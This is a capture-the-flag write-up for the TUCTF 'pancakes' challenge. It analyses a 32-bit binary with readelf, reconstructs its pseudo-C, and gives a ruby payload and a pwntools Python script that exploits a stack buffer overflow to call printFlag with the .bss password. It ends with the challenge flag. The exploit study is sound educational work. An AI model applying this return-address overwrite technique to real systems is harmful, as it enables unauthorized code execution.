Tags: stack-buffer-overflow
Rating:
Hello. This was an easy challenge... just stack buffer overflow while NX is enabled... also there are some quite awesome functions and `password` in .bss segment, allowing us to call `printFlag(password)` at the end of `pwnme` function when it returns.
first I got the binary I checked a few things:
```
$ file ./pancakes ./pancakes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a653a608db5ab4716ca7b1e891ee3b460e097eb8, for GNU/Linux 3.2.0, not stripped
```
and also:
```
$ readelf -l ./pancakes
Elf file type is EXEC (Executable file)
Entry point 0x80490c0
There are 11 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00160 0x00160 R 0x4
INTERP 0x000194 0x08048194 0x08048194 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x0040c 0x0040c R 0x1000
LOAD 0x001000 0x08049000 0x08049000 0x003f8 0x003f8 R E 0x1000
LOAD 0x002000 0x0804a000 0x0804a000 0x0021c 0x0021c R 0x1000
LOAD 0x002f04 0x0804bf04 0x0804bf04 0x00134 0x0017c RW 0x1000
DYNAMIC 0x002f0c 0x0804bf0c 0x0804bf0c 0x000e8 0x000e8 RW 0x4
NOTE 0x0001a8 0x080481a8 0x080481a8 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x002048 0x0804a048 0x0804a048 0x00054 0x00054 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x002f04 0x0804bf04 0x0804bf04 0x000fc 0x000fc R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt
03 .init .plt .text .fini
04 .rodata .eh_frame_hdr .eh_frame
05 .init_array .fini_array .dynamic .got .got.plt .data .bss
06 .dynamic
07 .note.gnu.build-id .note.ABI-tag
08 .eh_frame_hdr
09
10 .init_array .fini_array .dynamic .got
```
so no RWX segment there...
I got to reverse engineer the binary into some pseudo-c:
```
$ cat pseudo.c
#include <stdio.h>
#include <stdlib.h>
char password[32]; // 0x804c060
void
readPassword()
{
ebp_0xc = open("...", 0);
read(ebp_0xc, gpass, 0x1a);
close(ebp_0xc);
}
void
printFlag(char *password)
{
ebp_0xc = open("...", 0);
memset(ebp_0x58, 0, 0x4c);
readPassword();
if (memcmp(password, gpass) == 0) {
read(ebp_0xc, ebp_0x58, 0x4b);
puts(ebp_0x58);
}
else {
puts("...");
}
close(ebp_0xc);
}
void
pwnme()
{
printf("...");
read(0, ebp_0x28, 0x40);
printFlag(ebp_0x28);
}
int
main()
{
setvbuf(...);
setvbuf(...);
pwnme();
return 0;
}
```
so there is the vuln:
```
read(0, ebp_0x28, 0x40);
```
easy stack-based buffer overflow...
since I have the address of `printFlag` (binary isn't PIE) and also `password`, I could easily do this:
```
printFlag(password);
```
by
```
ruby -e 'puts "A"*44 + printFlag_addr + "JUNK" + password_addr' | ./pancakes
```
just as a habit I actually wrote a script... (isn't CTF for practicing??)
```
#/usr/bin/env python2
from pwn import *
def exploit(p):
padding = "A" * 44
gpass_addr = 0x804c060
printFlag = 0x8049226
main = 0x8049319
payload = padding
payload += p32(printFlag)
payload += p32(main)
payload += p32(gpass_addr)
print(p.recvuntil('>'))
p.sendline(payload)
def print_usage(prog):
print("Usage:")
print("\t%s <local_program>" % prog)
print("\t%s <addr> <port>" % prog)
if __name__ == "__main__":
import sys
context.update(arch='i386', os='linux')
if len(sys.argv) == 3:
p = remote(sys.argv[1], int(sys.argv[2]))
elif len(sys.argv) == 2:
p = process(sys.argv[1])
else:
print_usage(sys.argv[0])
sys.exit(1)
exploit(p)
print(p.recv())
```
flag : `TUCTF{p4nc4k35_4r3_4b50lu73ly_d3l1c10u5_4nd_y0u_5h0uld_637_50m3_4f73r_7h15}`